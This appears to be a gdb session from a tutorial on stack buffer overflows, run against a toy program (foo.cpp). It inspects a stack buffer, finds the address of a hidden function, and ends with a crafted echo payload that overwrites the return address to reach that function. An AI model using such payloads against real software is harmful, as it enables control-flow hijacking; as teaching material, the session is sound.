$ clang++ -ggdb foo.cpp
$ gdb a.out
(gdb) break goodFunctionUserInput
Breakpoint 1 at 0x4005cc: file foo.cpp, line 11.
(gdb) run
Starting program: ./a.out
Breakpoint 1, goodFunctionUserInput () at foo.cpp:11
(gdb) backtrace
#0 goodFunctionUserInput () at foo.cpp:11
#1 0x0000000000400604 in main () at foo.cpp:16
(gdb) print /x *buf@40
$1 = {0xa0, 0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xd0, 0xe0, 0xff, 0xff, 0xff, 0x7f, 0x0,
0x0, 0x4, 0x6, 0x40, 0x0, 0x0, 0x0, 0x0, 0x0, 0xb0, 0xe1, 0xff, 0xff, 0xff, 0x7f, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0}
(gdb) print oopsIGotToTheBadFunction
{int (void)} 0x400590 <oopsIGotToTheBadFunction()>
(gdb) quit
$ echo -e "farmacodependientes\x0\x90\x05\x40" | ./a.out
Gotcha! |